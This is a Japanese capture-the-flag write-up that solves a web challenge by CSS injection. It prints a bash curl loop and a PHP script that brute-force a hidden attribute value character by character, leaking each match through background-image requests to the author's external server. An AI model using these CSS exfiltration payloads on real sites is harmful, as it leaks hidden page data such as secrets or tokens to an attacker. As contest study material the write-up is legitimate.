いつものチームで WhiteHat Wargame Contest 11 に参加していました。
難易度は高めだった気がするのと、不具合も目立ちましたが、僕が解いた Web 問はなかなかおもいろい問題でした。これについて write up を書いておきます。
Ultimate Design Tool
アクセスすると、HTMLのボタンをデザインする画面が現れました。Submit を押すとそのボタンが現れるとともにどこかに送られるようでしたが、ボタンのスタイルの修正のみが反映されてテキストの変更は反映されませんでした。
送られた情報を見ると、ボタンのスタイルは CSS の形式で送られているようでした。そのため、試しに
{ background-image: url(https://nhiroki.net/hoge.png); }
のようなCSSを送り付けると、サーバから指定した URL にアクセスが来ました。
そのため、 CSS から JavaScript を実行する方法について調べていました。アクセスが Firefox からだったことも踏まえて調べると、-moz-binding なるもので JavaScript コードを実行可能なようでした。しかし、ドキュメントはヒットしないものの Firefox 47 では動作しないようでした。
そのあと、 CSS injection なるヒントが公開され、方向性は間違っていないと判断しました。
さらにそのあと ReGeX なるヒントが公開されました。そのため、色々調べると、 CSS は要素の指定などに正規表現が使えるようでした。
ここで、ボタン作成時の画面の HTML に
<!-- Admin only ... <span value="secret"></span> -->
という怪しげな記述があるのを思い出しました。CSS では HTML 要素の属性(<input type=”text”> なら type=”text” の部分)を条件に含めることができ、さらに完全一致のみならず先頭一致や含むかどうかという制限もできるようでした。
そのため、この要素を利用することで、特定の条件を持った属性(コメントを見る限りフラグがここに置かれている)が含まれるかを調べることができそうでした。
試しに画面に表示されているボタン(攻撃対象になかったとしても手元のブラウザでは表示される)で
{} div[id="button"]{ background-image: url(https://nhiroki.net/hoge.png); }
といった感じのことをしてみると無事アクセスが来たので、あとは一文字ずつ総当たりで調べることにしました。なお、^は***に置換されてしまったので、中間一致を利用して前と後ろにそれぞれ伸ばしていくことにしました。
最初は
for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 do flag=<ここに既にわかっている部分を入れる>$i curl -X POST --data-urlencode 'csscode={height: 1px; line-height: 1px;}span[value*="'$flag'"]{ background-image: url(https://nhiroki.net/******?fl='$flag');}' --data-urlencode 'submit=Share your button!' http://118.70.80.143:8104/push.php done
といったスクリプトを地道に手で走らせてはアクセスログを見ていましたが、結構長そうだったので、
<?php $initialflag=$_GET['flag']; for($i = 0; $i < 10; $i++){ $flag=$initialflag.$i; system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php'); } for ($i = 0; $i < 26; $i++){ $j=chr(ord('a')+$i); $flag=$initialflag.$j; system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php'); }
(background-image で指定しているのがこのスクリプト自体)
といった感じのコードをサーバ上に設置し、最初に一回たたけばあとは自動で伸びるところまで伸びるようにして、方向だけは途中で文字列を前にも伸ばすようにしてフラグを得ました。(なお、大文字は画面上でも勝手に小文字に変換されたので省きました。)
CSS から直接 JS を実行する穴は今は塞がれているようですが、それでも CSS に任意の文字列を注入すれば HTML の属性などの情報は取得できるということを実際に試すことができました。